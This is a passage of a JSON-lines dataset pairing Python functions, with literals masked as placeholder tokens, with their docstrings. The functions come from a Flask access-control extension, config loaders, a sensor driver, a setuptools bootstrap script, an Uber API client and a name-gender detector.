type(v)))<EOL><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>raise TypeError('<STR_LIT>' % (type(d1), type(d2)))<EOL><DEDENT>return d1<EOL>", "docstring": "Merge dictionary d2 into d1, overriding entries in d1 with values from d2.\n\nd1 is mutated.\n\n_path is for internal, recursive use.", "id": "f12664:m0"}
{"signature": "def filter_dict(unfiltered, filter_keys):", "body": "filtered = DotDict()<EOL>for k in filter_keys:<EOL><INDENT>filtered[k] = unfiltered[k]<EOL><DEDENT>return filtered<EOL>", "docstring": "Return a subset of a dictionary using the specified keys.", "id": "f12664:m1"}
{"signature": "def _convert_item(self, obj):", "body": "if isinstance(obj, dict) and not isinstance(obj, DotDict):<EOL><INDENT>obj = DotDict(obj)<EOL><DEDENT>elif isinstance(obj, list):<EOL><INDENT>for i, item in enumerate(obj):<EOL><INDENT>if isinstance(item, dict) and not isinstance(item, DotDict):<EOL><INDENT>obj[i] = DotDict(item)<EOL><DEDENT><DEDENT><DEDENT>return obj<EOL>", "docstring": "Convert obj into a DotDict, or list of DotDict.\n\nDirectly nested lists aren't supported.\nReturns the result", "id": "f12664:c0:m6"}
{"signature": "def config_sources(app, environment, cluster, configs_dirs, app_dir,<EOL>local=False, build=False):", "body": "sources = [<EOL>(configs_dirs, '<STR_LIT>'),<EOL>(configs_dirs, '<STR_LIT>'),<EOL>(configs_dirs, '<STR_LIT>'),<EOL>(configs_dirs, '<STR_LIT>'),<EOL>(configs_dirs, '<STR_LIT>' % environment),<EOL>(configs_dirs, '<STR_LIT>' % (environment, cluster)),<EOL>(configs_dirs, '<STR_LIT>'),<EOL>(configs_dirs, '<STR_LIT>'),<EOL>(configs_dirs, '<STR_LIT>'),<EOL>([app_dir], '<STR_LIT>' % app),<EOL>([app_dir], '<STR_LIT>' % (app, environment)),<EOL>([app_dir], '<STR_LIT>' % (app, environment, cluster)),<EOL>(configs_dirs, app),<EOL>(configs_dirs, '<STR_LIT>' % (app, environment)),<EOL>(configs_dirs, '<STR_LIT>' % (app, environment, cluster)),<EOL>([app_dir], '<STR_LIT>' % app),<EOL>([app_dir], '<STR_LIT>' % app),<EOL>(configs_dirs, '<STR_LIT>' % app),<EOL>(configs_dirs, '<STR_LIT>' % app),<EOL>(configs_dirs, '<STR_LIT>' % app),<EOL>]<EOL>if not build:<EOL><INDENT>sources = [source for source in sources<EOL>if not source[<NUM_LIT:1>].endswith('<STR_LIT>')]<EOL>if not local:<EOL><INDENT>sources = [source for source in sources<EOL>if not source[<NUM_LIT:1>].endswith('<STR_LIT>')]<EOL><DEDENT><DEDENT>return available_sources(sources)<EOL>", "docstring": "Return the config files for an environment & cluster specific app.", "id": "f12665:m0"}
{"signature": "def available_sources(sources):", "body": "for dirs, name in sources:<EOL><INDENT>for directory in dirs:<EOL><INDENT>fn = os.path.join(directory, name) + '<STR_LIT>'<EOL>if os.path.isfile(fn):<EOL><INDENT>yield fn<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Yield the sources that are present.", "id": "f12665:m1"}
{"signature": "def smush_config(sources, initial=None):", "body": "if initial is None:<EOL><INDENT>initial = {}<EOL><DEDENT>config = DotDict(initial)<EOL>for fn in sources:<EOL><INDENT>log.debug('<STR_LIT>', fn)<EOL>mod = get_config_module(fn)<EOL>config = mod.update(config)<EOL>log.debug('<STR_LIT>', json.dumps(config, indent=<NUM_LIT:4>,<EOL>cls=LenientJSONEncoder))<EOL><DEDENT>return config<EOL>", "docstring": "Merge the configuration sources and return the resulting DotDict.", "id": "f12665:m2"}
{"signature": "def get_name(self):", "body": "return self.name<EOL>", "docstring": "Return the name of this role", "id": "f12670:c0:m1"}
{"signature": "def add_parent(self, parent):", "body": "parent.children.add(self)<EOL>self.parents.add(parent)<EOL>", "docstring": "Add a parent to this role,\n        and add role itself to the parent's children set.\n        you should override this function if neccessary.\n\n        Example::\n\n            logged_user = RoleMixin('logged_user')\n            student = RoleMixin('student')\n            student.add_parent(logged_user)\n\n        :param parent: Parent role to add in.", "id": "f12670:c0:m2"}
{"signature": "def add_parents(self, *parents):", "body": "for parent in parents:<EOL><INDENT>self.add_parent(parent)<EOL><DEDENT>", "docstring": "Add parents to this role. Also should override if neccessary.\n        Example::\n\n            editor_of_articles = RoleMixin('editor_of_articles')\n            editor_of_photonews = RoleMixin('editor_of_photonews')\n            editor_of_all = RoleMixin('editor_of_all')\n            editor_of_all.add_parents(editor_of_articles, editor_of_photonews)\n\n        :param parents: Parents to add.", "id": "f12670:c0:m3"}
{"signature": "@staticmethod<EOL><INDENT>def get_by_name(name):<DEDENT>", "body": "return RoleMixin.roles[name]<EOL>", "docstring": "A static method to return the role which has the input name.\n\n        :param name: The name of role.", "id": "f12670:c0:m6"}
{"signature": "def add_role(self, role):", "body": "self.roles.add(role)<EOL>", "docstring": "Add a role to this user.\n\n        :param role: Role to add.", "id": "f12670:c1:m1"}
{"signature": "def add_roles(self, *roles):", "body": "for role in roles:<EOL><INDENT>self.add_role(role)<EOL><DEDENT>", "docstring": "Add roles to this user.\n\n        :param roles: Roles to add.", "id": "f12670:c1:m2"}
{"signature": "def allow(self, role, method, resource, with_children=True):", "body": "if with_children:<EOL><INDENT>for r in role.get_children():<EOL><INDENT>permission = (r.get_name(), method, resource)<EOL>if permission not in self._allowed:<EOL><INDENT>self._allowed.append(permission)<EOL><DEDENT><DEDENT><DEDENT>if role == '<STR_LIT>':<EOL><INDENT>permission = (role, method, resource)<EOL><DEDENT>else:<EOL><INDENT>permission = (role.get_name(), method, resource)<EOL><DEDENT>if permission not in self._allowed:<EOL><INDENT>self._allowed.append(permission)<EOL><DEDENT>", "docstring": "Add allowing rules.\n\n        :param role: Role of this rule.\n        :param method: Method to allow in rule, include GET, POST, PUT etc.\n        :param resource: Resource also view function.\n        :param with_children: Allow role's children in rule as well\n                              if with_children is `True`", "id": "f12671:c0:m1"}
{"signature": "def deny(self, role, method, resource, with_children=False):", "body": "if with_children:<EOL><INDENT>for r in role.get_children():<EOL><INDENT>permission = (r.get_name(), method, resource)<EOL>if permission not in self._denied:<EOL><INDENT>self._denied.append(permission)<EOL><DEDENT><DEDENT><DEDENT>permission = (role.get_name(), method, resource)<EOL>if permission not in self._denied:<EOL><INDENT>self._denied.append(permission)<EOL><DEDENT>", "docstring": "Add denying rules.\n\n        :param role: Role of this rule.\n        :param method: Method to deny in rule, include GET, POST, PUT etc.\n        :param resource: Resource also view function.\n        :param with_children: Deny role's children in rule as well\n                              if with_children is `True`", "id": "f12671:c0:m2"}
{"signature": "def exempt(self, resource):", "body": "if resource not in self._exempt:<EOL><INDENT>self._exempt.append(resource)<EOL><DEDENT>", "docstring": "Exempt a view function from being checked permission\n\n        :param resource: The view function exempt from checking.", "id": "f12671:c0:m3"}
{"signature": "def is_allowed(self, role, method, resource):", "body": "return (role, method, resource) in self._allowed<EOL>", "docstring": "Check whether role is allowed to access resource\n\n        :param role: Role to be checked.\n        :param method: Method to be checked.\n        :param resource: View function to be checked.", "id": "f12671:c0:m4"}
{"signature": "def is_denied(self, role, method, resource):", "body": "return (role, method, resource) in self._denied<EOL>", "docstring": "Check wherther role is denied to access resource\n\n        :param role: Role to be checked.\n        :param method: Method to be checked.\n        :param resource: View function to be checked.", "id": "f12671:c0:m5"}
{"signature": "def is_exempt(self, resource):", "body": "return resource in self._exempt<EOL>", "docstring": "Return whether resource is exempted.\n\n        :param resource: View function to be checked.", "id": "f12671:c0:m6"}
{"signature": "def __init__(self, app=None, **kwargs):", "body": "self.acl = AccessControlList()<EOL>self.before_acl = {'<STR_LIT>': [], '<STR_LIT>': []}<EOL>self._role_model = kwargs.get('<STR_LIT>', RoleMixin)<EOL>self._user_model = kwargs.get('<STR_LIT>', UserMixin)<EOL>self._user_loader = kwargs.get('<STR_LIT>', lambda: current_user)<EOL>self.permission_failed_hook = kwargs.get('<STR_LIT>')<EOL>if app is not None:<EOL><INDENT>self.app = app<EOL>self.init_app(app)<EOL><DEDENT>else:<EOL><INDENT>self.app = None<EOL><DEDENT>", "docstring": "Initialize with app.", "id": "f12671:c2:m0"}
{"signature": "def init_app(self, app):", "body": "app.config.setdefault('<STR_LIT>', False)<EOL>self.use_white = app.config['<STR_LIT>']<EOL>if not hasattr(app, '<STR_LIT>'):<EOL><INDENT>app.extensions = {}<EOL><DEDENT>app.extensions['<STR_LIT>'] = _RBACState(self, app)<EOL>self.acl.allow(anonymous, '<STR_LIT:GET>', '<STR_LIT>')<EOL>app.before_first_request(self._setup_acl)<EOL>app.before_request(self._authenticate)<EOL>", "docstring": "Initialize application in Flask-RBAC.\n        Adds (RBAC, app) to flask extensions.\n        Adds hook to authenticate permission before request.\n\n        :param app: Flask object", "id": "f12671:c2:m1"}
{"signature": "def as_role_model(self, model_cls):", "body": "self._role_model = model_cls<EOL>return model_cls<EOL>", "docstring": "A decorator to set custom model or role.\n\n        :param model_cls: Model of role.", "id": "f12671:c2:m2"}
{"signature": "def as_user_model(self, model_cls):", "body": "self._user_model = model_cls<EOL>return model_cls<EOL>", "docstring": "A decorator to set custom model or user.\n\n        :param model_cls: Model of user.", "id": "f12671:c2:m3"}
{"signature": "def set_role_model(self, model):", "body": "self._role_model = model<EOL>", "docstring": "Set custom model of role.\n\n        :param model: Model of role.", "id": "f12671:c2:m4"}
{"signature": "def set_user_model(self, model):", "body": "self._user_model = model<EOL>", "docstring": "Set custom model of User\n\n        :param model: Model of user", "id": "f12671:c2:m5"}
{"signature": "def set_user_loader(self, loader):", "body": "self._user_loader = loader<EOL>", "docstring": "Set user loader, which is used to load current user.\n        An example::\n\n            from flask_login import current_user\n            rbac.set_user_loader(lambda: current_user)\n\n        :param loader: Current user function.", "id": "f12671:c2:m6"}
{"signature": "def set_hook(self, hook):", "body": "self.permission_failed_hook = hook<EOL>", "docstring": "Set hook which called when permission is denied\n        If you haven't set any hook, Flask-RBAC will call::\n\n            abort(403)\n\n        :param hook: Hook function", "id": "f12671:c2:m7"}
{"signature": "def has_permission(self, method, endpoint, user=None):", "body": "app = self.get_app()<EOL>_user = user or self._user_loader()<EOL>if not hasattr(_user, '<STR_LIT>'):<EOL><INDENT>roles = [anonymous]<EOL><DEDENT>else:<EOL><INDENT>roles = _user.get_roles()<EOL><DEDENT>return self._check_permission(roles, method, endpoint)<EOL>", "docstring": "Return does the current user can access the resource.\n        Example::\n\n            @app.route('/some_url', methods=['GET', 'POST'])\n            @rbac.allow(['anonymous'], ['GET'])\n            def a_view_func():\n                return Response('Blah Blah...')\n\n        If you are not logged.\n\n        `rbac.has_permission('GET', 'a_view_func')` return True.\n        `rbac.has_permission('POST', 'a_view_func')` return False.\n\n        :param method: The method wait to check.\n        :param endpoint: The application endpoint.\n        :param user: user who you need to check. Current user by default.", "id": "f12671:c2:m8"}
{"signature": "def allow(self, roles, methods, with_children=True):", "body": "def decorator(view_func):<EOL><INDENT>_methods = [m.upper() for m in methods]<EOL>for r, m, v in itertools.product(roles, _methods, [view_func.__name__]):<EOL><INDENT>self.before_acl['<STR_LIT>'].append((r, m, v, with_children))<EOL><DEDENT>return view_func<EOL><DEDENT>return decorator<EOL>", "docstring": "This is a decorator function.\n\n        You can allow roles to access the view func with it.\n\n        An example::\n\n            @app.route('/website/setting', methods=['GET', 'POST'])\n            @rbac.allow(['administrator', 'super_user'], ['GET', 'POST'])\n            def website_setting():\n                return Response('Setting page.')\n\n        :param roles: List, each name of roles. Please note that,\n                      `anonymous` is refered to anonymous.\n                      If you add `anonymous` to the rule,\n                      everyone can access the resource,\n                      unless you deny other roles.\n        :param methods: List, each name of methods.\n                        methods is valid in ['GET', 'POST', 'PUT', 'DELETE']\n        :param with_children: Whether allow children of roles as well.\n                              True by default.", "id": "f12671:c2:m9"}
{"signature": "def deny(self, roles, methods, with_children=False):", "body": "def decorator(view_func):<EOL><INDENT>_methods = [m.upper() for m in methods]<EOL>for r, m, v in itertools.product(roles, _methods, [view_func.__name__]):<EOL><INDENT>self.before_acl['<STR_LIT>'].append((r, m, v, with_children))<EOL><DEDENT>return view_func<EOL><DEDENT>return decorator<EOL>", "docstring": "This is a decorator function.\n\n        You can deny roles to access the view func with it.\n\n        An example::\n\n            @app.route('/article/post', methods=['GET', 'POST'])\n            @rbac.deny(['anonymous', 'unactivated_role'], ['GET', 'POST'])\n            def article_post():\n                return Response('post page.')\n\n        :param roles: List, each name of roles.\n        :param methods: List, each name of methods.\n                        methods is valid in ['GET', 'POST', 'PUT', 'DELETE']\n        :param with_children: Whether allow children of roles as well.\n                              True by default.", "id": "f12671:c2:m10"}
{"signature": "def exempt(self, view_func):", "body": "self.acl.exempt(view_func.__name__)<EOL>return view_func<EOL>", "docstring": "Exempt a view function from being checked permission.\n        It is useful when you are using white list checking.\n\n        Example::\n\n            @app.route('/everyone/can/access')\n            @rbac.exempt\n            def everyone_can_access():\n                return 'Hello~'\n\n        :param view_func: The view function going to be exempted.", "id": "f12671:c2:m11"}
{"signature": "def get_app(self, reference_app=None):", "body": "if reference_app is not None:<EOL><INDENT>return reference_app<EOL><DEDENT>if self.app is not None:<EOL><INDENT>return self.app<EOL><DEDENT>ctx = connection_stack.top<EOL>if ctx is not None:<EOL><INDENT>return ctx.app<EOL><DEDENT>raise RuntimeError('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>", "docstring": "Helper method that implements the logic to look up an application.", "id": "f12671:c2:m12"}
{"signature": "def setEnvironmentalData(self, humidity, temperature):", "body": "'''<STR_LIT>'''<EOL>hum_perc = humidity << <NUM_LIT:1><EOL>parts = math.fmod(temperature)<EOL>fractional = parts[<NUM_LIT:0>]<EOL>temperature = parts[<NUM_LIT:1>]<EOL>temp_high = ((temperature + <NUM_LIT>) << <NUM_LIT:9>)<EOL>temp_low = ((fractional / <NUM_LIT>) & <NUM_LIT>)<EOL>temp_conv = (temp_high | temp_low)<EOL>buf = [hum_perc, <NUM_LIT>,((temp_conv >> <NUM_LIT:8>) & <NUM_LIT>), (temp_conv & <NUM_LIT>)]<EOL>self._device.writeList(CCS811_ENV_DATA, buf)<EOL>", "docstring": "Humidity is stored as an unsigned 16 bits in 1/512%RH. The\n        default value is 50% = 0x64, 0x00. As an example 48.5%\n        humidity would be 0x61, 0x00.", "id": "f12674:c0:m6"}
{"signature": "def _python_cmd(*args):", "body": "args = (sys.executable,) + args<EOL>return subprocess.call(args) == <NUM_LIT:0><EOL>", "docstring": "Return True if the command succeeded.", "id": "f12676:m0"}
{"signature": "def get_zip_class():", "body": "class ContextualZipFile(zipfile.ZipFile):<EOL><INDENT>def __enter__(self):<EOL><INDENT>return self<EOL><DEDENT>def __exit__(self, type, value, traceback):<EOL><INDENT>self.close<EOL><DEDENT><DEDENT>return zipfile.ZipFile if hasattr(zipfile.ZipFile, '<STR_LIT>') elseContextualZipFile<EOL>", "docstring": "Supplement ZipFile class to support context manager for Python 2.6", "id": "f12676:m3"}
{"signature": "def _clean_check(cmd, target):", "body": "try:<EOL><INDENT>subprocess.check_call(cmd)<EOL><DEDENT>except subprocess.CalledProcessError:<EOL><INDENT>if os.access(target, os.F_OK):<EOL><INDENT>os.unlink(target)<EOL><DEDENT>raise<EOL><DEDENT>", "docstring": "Run the command to download target. If the command fails, clean up before\nre-raising the error.", "id": "f12676:m7"}
{"signature": "def download_file_powershell(url, target):", "body": "target = os.path.abspath(target)<EOL>cmd = [<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>\"<STR_LIT>\" % vars(),<EOL>]<EOL>_clean_check(cmd, target)<EOL>", "docstring": "Download the file at url to target using Powershell (which will validate\ntrust). Raise an exception if the command cannot complete.", "id": "f12676:m8"}
{"signature": "def download_file_insecure(url, target):", "body": "try:<EOL><INDENT>from urllib.request import urlopen<EOL><DEDENT>except ImportError:<EOL><INDENT>from urllib2 import urlopen<EOL><DEDENT>src = dst = None<EOL>try:<EOL><INDENT>src = urlopen(url)<EOL>data = src.read()<EOL>dst = open(target, \"<STR_LIT:wb>\")<EOL>dst.write(data)<EOL><DEDENT>finally:<EOL><INDENT>if src:<EOL><INDENT>src.close()<EOL><DEDENT>if dst:<EOL><INDENT>dst.close()<EOL><DEDENT><DEDENT>", "docstring": "Use Python to download the file, even though it cannot authenticate the\nconnection.", "id": "f12676:m14"}
{"signature": "def download_setuptools(version=DEFAULT_VERSION, download_base=DEFAULT_URL,<EOL>to_dir=os.curdir, delay=<NUM_LIT:15>, downloader_factory=get_best_downloader):", "body": "<EOL>to_dir = os.path.abspath(to_dir)<EOL>zip_name = \"<STR_LIT>\" % version<EOL>url = download_base + zip_name<EOL>saveto = os.path.join(to_dir, zip_name)<EOL>if not os.path.exists(saveto):  <EOL><INDENT>log.warn(\"<STR_LIT>\", url)<EOL>downloader = downloader_factory()<EOL>downloader(url, saveto)<EOL><DEDENT>return os.path.realpath(saveto)<EOL>", "docstring": "Download setuptools from a specified location and return its filename\n`version` should be a valid setuptools version number that is available\nas an egg for download under the `download_base` URL (which should end\nwith a '/'). `to_dir` is the directory where the egg will be downloaded.\n`delay` is the number of seconds to pause before an actual download\nattempt.\n``downloader_factory`` should be a function taking no arguments and\nreturning a function for downloading a URL to a target.", "id": "f12676:m16"}
{"signature": "def _build_install_args(options):", "body": "return ['<STR_LIT>'] if options.user_install else []<EOL>", "docstring": "Build the arguments to 'python setup.py install' on the setuptools package", "id": "f12676:m17"}
{"signature": "def _parse_args():", "body": "parser = optparse.OptionParser()<EOL>parser.add_option(<EOL>'<STR_LIT>', dest='<STR_LIT>', action='<STR_LIT:store_true>', default=False,<EOL>help='<STR_LIT>')<EOL>parser.add_option(<EOL>'<STR_LIT>', dest='<STR_LIT>', metavar=\"<STR_LIT>\",<EOL>default=DEFAULT_URL,<EOL>help='<STR_LIT>')<EOL>parser.add_option(<EOL>'<STR_LIT>', dest='<STR_LIT>', action='<STR_LIT>',<EOL>const=lambda: download_file_insecure, default=get_best_downloader,<EOL>help='<STR_LIT>'<EOL>)<EOL>parser.add_option(<EOL>'<STR_LIT>', help=\"<STR_LIT>\",<EOL>default=DEFAULT_VERSION,<EOL>)<EOL>options, args = parser.parse_args()<EOL>return options<EOL>", "docstring": "Parse the command line for options", "id": "f12676:m18"}
{"signature": "def main():", "body": "options = _parse_args()<EOL>archive = download_setuptools(<EOL>version=options.version,<EOL>download_base=options.download_base,<EOL>downloader_factory=options.downloader_factory,<EOL>)<EOL>return _install(archive, _build_install_args(options))<EOL>", "docstring": "Install or upgrade setuptools and EasyInstall", "id": "f12676:m19"}
{"signature": "def superable(cls) :", "body": "name = cls.__name__<EOL>super_name = '<STR_LIT>' % (name,)<EOL>setattr(cls,super_name,super(cls))<EOL>return cls<EOL>", "docstring": "Provide .__super in python 2.x classes without having to specify the current \n    class name each time super is used (DRY principle).", "id": "f12679:m0"}
{"signature": "def __init__(self, client_id, server_token, secret):", "body": "self.client_id = client_id<EOL>self.server_token = server_token<EOL>self.secret = secret<EOL>super(Uber, self).__init__(self.client_id, self.server_token, self.secret)<EOL>", "docstring": "Instantiate a new Uber object.\n:param client_id: Client ID for an application provided by Uber.\n:param server_token: Server token for an application provided by Uber.\n:param secret: Secret for an application provided by Uber.", "id": "f12685:c0:m0"}
{"signature": "def get_products(self, latitude, longitude):", "body": "endpoint = '<STR_LIT>'<EOL>query_parameters = {<EOL>'<STR_LIT>': latitude,<EOL>'<STR_LIT>': longitude<EOL>}<EOL>return self.get_json(endpoint, '<STR_LIT:GET>', query_parameters, None, None)<EOL>", "docstring": "Get a list of all Uber products based on latitude and longitude coordinates.\n:param latitude: Latitude for which product list is required.\n:param longitude: Longitude for which product list is required.\n:return: JSON", "id": "f12685:c0:m1"}
{"signature": "def get_price_estimate(self, start_latitude, start_longitude, end_latitude, end_longitude):", "body": "endpoint = '<STR_LIT>'<EOL>query_parameters = {<EOL>'<STR_LIT>': start_latitude,<EOL>'<STR_LIT>': start_longitude,<EOL>'<STR_LIT>': end_latitude,<EOL>'<STR_LIT>': end_longitude<EOL>}<EOL>return self.get_json(endpoint, '<STR_LIT:GET>', query_parameters, None, None)<EOL>", "docstring": "Returns the fare estimate based on two sets of coordinates.\n:param start_latitude: Starting latitude or latitude of pickup address.\n:param start_longitude: Starting longitude or longitude of pickup address.\n:param end_latitude: Ending latitude or latitude of destination address.\n:param end_longitude: Ending longitude or longitude of destination address.\n:return: JSON", "id": "f12685:c0:m2"}
{"signature": "def get_time_estimate(self, start_latitude, start_longitude, customer_uuid=None, product_id=None):", "body": "endpoint = '<STR_LIT>'<EOL>query_parameters = {<EOL>'<STR_LIT>': start_latitude,<EOL>'<STR_LIT>': start_longitude<EOL>}<EOL>if customer_uuid is not None:<EOL><INDENT>query_parameters['<STR_LIT>'] = customer_uuid<EOL><DEDENT>elif product_id is not None:<EOL><INDENT>query_parameters['<STR_LIT>'] = product_id<EOL><DEDENT>elif customer_uuid is not None and product_id is not None:<EOL><INDENT>query_parameters['<STR_LIT>'] = customer_uuid<EOL>query_parameters['<STR_LIT>'] = product_id<EOL><DEDENT>return self.get_json(endpoint, '<STR_LIT:GET>', query_parameters, None, None)<EOL>", "docstring": "Get the ETA for Uber products.\n:param start_latitude: Starting latitude.\n:param start_longitude: Starting longitude.\n:param customer_uuid: (Optional) Customer unique ID.\n:param product_id: (Optional) If ETA is needed only for a specific product type.\n:return: JSON", "id": "f12685:c0:m3"}
{"signature": "def get_promotions(self, start_latitude, start_longitude, end_latitude, end_longitude):", "body": "endpoint = '<STR_LIT>'<EOL>query_parameters = {<EOL>'<STR_LIT>': start_latitude,<EOL>'<STR_LIT>': start_longitude,<EOL>'<STR_LIT>': end_latitude,<EOL>'<STR_LIT>': end_longitude<EOL>}<EOL>return self.get_json(endpoint, '<STR_LIT:GET>', query_parameters, None, None)<EOL>", "docstring": "Get promotions for new user based on user location.\n:param start_latitude: Starting latitude or latitude of pickup address.\n:param start_longitude: Starting longitude or longitude of pickup address.\n:param end_latitude: Ending latitude or latitude of destination address.\n:param end_longitude: Ending longitude or longitude of destination address.\n:return: JSON", "id": "f12685:c0:m4"}
{"signature": "def __init__(self, client_id, server_token, secret):", "body": "self.client_id = client_id<EOL>if self.server_token == '<STR_LIT>' or self.server_token is None:<EOL><INDENT>raise UberpyException('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>self.server_token = server_token<EOL><DEDENT>self.secret = secret<EOL>self.client = Http()<EOL>", "docstring": "Instantiate a new Api object.\n:param client_id: Client ID for an application provided by Uber.\n:param server_token: Server token for an application provided by Uber.\n:param secret: Secret for an application provided by Uber.", "id": "f12687:c0:m0"}
{"signature": "def add_credentials(self, query_parameters):", "body": "query_parameters['<STR_LIT>'] = self.server_token<EOL>return query_parameters<EOL>", "docstring": "Adds the Uber server token to the query parameters to make an authorised request.\n:param query_parameters: Query parameters to be sent.\n:return: string", "id": "f12687:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def sanitise_path(path):<DEDENT>", "body": "if path[<NUM_LIT:0>] != '<STR_LIT:/>':<EOL><INDENT>path = '<STR_LIT:/>' + path<EOL><DEDENT>return path<EOL>", "docstring": "Adds a '/' to the path if it does not exist.\n:param path: Path that is to be sanitised.\n:return: string", "id": "f12687:c0:m2"}
{"signature": "@staticmethod<EOL><INDENT>def check_status(content, response):<DEDENT>", "body": "if response.status == <NUM_LIT>:<EOL><INDENT>raise MalformedRequestException(content, response)<EOL><DEDENT>if response.status == <NUM_LIT>:<EOL><INDENT>raise UnauthorisedException(content, response)<EOL><DEDENT>if response.status == <NUM_LIT>:<EOL><INDENT>raise NotFoundException(content, response)<EOL><DEDENT>if response.status == <NUM_LIT>:<EOL><INDENT>raise UnacceptableContentException(content, response)<EOL><DEDENT>if response.status == <NUM_LIT>:<EOL><INDENT>raise InvalidRequestException(content, response)<EOL><DEDENT>if response.status == <NUM_LIT>:<EOL><INDENT>raise RateLimitException(content, response)<EOL><DEDENT>if response.status >= <NUM_LIT>:<EOL><INDENT>raise ServerException(content, response)<EOL><DEDENT>", "docstring": "Check the response that is returned for known exceptions and errors.\n:param response: Response that is returned from the call.\n:raise:\n MalformedRequestException if `response.status` is 400\n UnauthorisedException if `response.status` is 401\n NotFoundException if `response.status` is 404\n UnacceptableContentException if `response.status` is 406\n InvalidRequestException if `response.status` is 422\n RateLimitException if `response.status` is 429\n ServerException if `response.status` > 500", "id": "f12687:c0:m3"}
{"signature": "def build_request(self, path, query_parameters):", "body": "url = '<STR_LIT>' + self.sanitise_path(path)<EOL>url += '<STR_LIT:?>' + urlencode(query_parameters)<EOL>return url<EOL>", "docstring": "Build the HTTP request by adding query parameters to the path.\n:param path: API endpoint/path to be used.\n:param query_parameters: Query parameters to be added to the request.\n:return: string", "id": "f12687:c0:m4"}
{"signature": "def get_json(self, uri_path, http_method='<STR_LIT:GET>', query_parameters=None, body=None, headers=None):", "body": "query_parameters = query_parameters or {}<EOL>headers = headers or {}<EOL>query_parameters = self.add_credentials(query_parameters)<EOL>uri = self.build_request(uri_path, query_parameters)<EOL>if http_method in ('<STR_LIT:POST>', '<STR_LIT>', '<STR_LIT>') and '<STR_LIT:Content-Type>' not in headers:<EOL><INDENT>headers['<STR_LIT:Content-Type>'] = '<STR_LIT:application/json>'<EOL><DEDENT>headers['<STR_LIT>'] = '<STR_LIT:application/json>'<EOL>response, content = self.client.request(<EOL>uri=uri,<EOL>method=http_method,<EOL>body=body,<EOL>headers=headers<EOL>)<EOL>self.check_status(content, response)<EOL>return json.loads(content.decode('<STR_LIT:utf-8>'))<EOL>", "docstring": "Fetches the JSON returned, after making the call and checking for errors.\n:param uri_path: Endpoint to be used to make a request.\n:param http_method: HTTP method to be used.\n:param query_parameters: Parameters to be added to the request.\n:param body: Optional body, if required.\n:param headers: Optional headers, if required.\n:return: JSON", "id": "f12687:c0:m5"}
{"signature": "def __init__(self,<EOL>case_sensitive=True,<EOL>unknown_value=u\"<STR_LIT>\"):", "body": "self.case_sensitive = case_sensitive<EOL>self.unknown_value = unknown_value<EOL>self._parse(os.path.join(os.path.dirname(__file__), \"<STR_LIT>\"))<EOL>", "docstring": "Creates a detector parsing given data file", "id": "f12691:c1:m0"}
{"signature": "def _parse(self, filename):", "body": "self.names = {}<EOL>with codecs.open(filename, encoding=\"<STR_LIT>\") as f:<EOL><INDENT>for line in f:<EOL><INDENT>if any(map(lambda c: <NUM_LIT> < ord(c) < <NUM_LIT>, line)):<EOL><INDENT>line = line.encode(\"<STR_LIT>\").decode(\"<STR_LIT>\")<EOL><DEDENT>self._eat_name_line(line.strip())<EOL><DEDENT><DEDENT>", "docstring": "Opens data file and for each line, calls _eat_name_line", "id": "f12691:c1:m1"}
{"signature": "def _eat_name_line(self, line):", "body": "if line[<NUM_LIT:0>] not in \"<STR_LIT>\":<EOL><INDENT>parts = line.split()<EOL>country_values = line[<NUM_LIT:30>:-<NUM_LIT:1>]<EOL>name = map_name(parts[<NUM_LIT:1>])<EOL>if not self.case_sensitive:<EOL><INDENT>name = name.lower()<EOL><DEDENT>if parts[<NUM_LIT:0>] == \"<STR_LIT:M>\":<EOL><INDENT>self._set(name, u\"<STR_LIT>\", country_values)<EOL><DEDENT>elif parts[<NUM_LIT:0>] == \"<STR_LIT>\" or parts[<NUM_LIT:0>] == \"<STR_LIT>\":<EOL><INDENT>self._set(name, u\"<STR_LIT>\", country_values)<EOL><DEDENT>elif parts[<NUM_LIT:0>] == \"<STR_LIT:F>\":<EOL><INDENT>self._set(name, u\"<STR_LIT>\", country_values)<EOL><DEDENT>elif parts[<NUM_LIT:0>] == \"<STR_LIT>\" or parts[<NUM_LIT:0>] == \"<STR_LIT>\":<EOL><INDENT>self._set(name, u\"<STR_LIT>\", country_values)<EOL><DEDENT>elif parts[<NUM_LIT:0>] == \"<STR_LIT:?>\":<EOL><INDENT>self._set(name, self.unknown_value, country_values)<EOL><DEDENT>else:<EOL><INDENT>raise \"<STR_LIT>\" % parts[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>", "docstring": "Parses one line of data file", "id": "f12691:c1:m2"}
{"signature": "def _set(self, name, gender, country_values):", "body": "if '<STR_LIT:+>' in name:<EOL><INDENT>for replacement in ['<STR_LIT>', '<STR_LIT:U+0020>', '<STR_LIT:->']:<EOL><INDENT>self._set(name.replace('<STR_LIT:+>', replacement), gender, country_values)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if name not in self.names:<EOL><INDENT>self.names[name] = {}<EOL><DEDENT>self.names[name][gender] = country_values<EOL><DEDENT>", "docstring": "Sets gender and relevant country values for names dictionary of detector", "id": "f12691:c1:m3"}
{"signature": "def _most_popular_gender(self, name, counter):", "body": "if name not in self.names:<EOL><INDENT>return self.unknown_value<EOL><DEDENT>max_count, max_tie = (<NUM_LIT:0>, <NUM_LIT:0>)<EOL>best = self.names[name].keys()[<NUM_LIT:0>]<EOL>for gender, country_values in self.names[name].items():<EOL><INDENT>count, tie = counter(country_values)<EOL>if count > max_count or (count == max_count and tie > max_tie):<EOL><INDENT>max_count, max_tie, best = count, tie, gender<EOL><DEDENT><DEDENT>return best if max_count > <NUM_LIT:0> else self.unknown_value<EOL>", "docstring": "Finds the most popular gender for the given name counting by given counter", "id": "f12691:c1:m4"}
